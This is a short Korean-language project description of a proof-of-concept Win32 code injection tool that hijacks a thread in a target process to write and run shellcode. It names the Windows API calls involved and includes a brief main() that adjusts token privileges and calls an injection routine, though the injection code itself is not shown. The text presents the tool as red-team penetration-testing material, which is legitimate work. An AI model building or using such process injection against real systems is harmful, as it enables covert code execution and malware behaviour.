
PoC 스레드 실행 하이재킹을 통한 Win32 코드 인젝션
프로그램은 스레드 하이재킹(Thread Hijacking)을 사용하여 표준 Win32 애플리케이션에 네이티브 셸코드를 주입합니다. 이 코드를 만들 당시 저는 15살이었습니다 - 저급한 코드를 양해해 주세요.
저는 이 작은 프로젝트를 다양한 코드 인젝션 방법에 대한 경험을 계속 쌓고, RedTeam 보안 전문가들이 이 방법을 소프트웨어 침투 테스트를 수행하는 독특한 방식으로 활용할 수 있도록 개발했습니다. 스레드 하이재킹을 사용하면 hijacker.exe 프로그램이 target.exe 프로그램 내의 스레드를 일시 중단시켜 해당 대상 스레드에 셸코드를 작성하고, 나중에 실행할 수 있게 합니다 (via; WriteProcessMemory(), SetThreadContext(), ResumeThread(), CreateThread()).

int main()
{
System sys;
Interceptor incp;
Exception exp;
sys.returnVersionState();
if (sys.returnPrivilegeEscalationState())
{
std::cout << "Token Privileges Adjusted\n";
}
if (DWORD m_procId = incp.FindWin32ProcessId((PCHAR)m_win32ProcessName))
{
incp.ExecuteWin32Shellcode(m_procId);
}
system("PAUSE");
return 0;
}
https://capec.mitre.org/data/definitions/30.html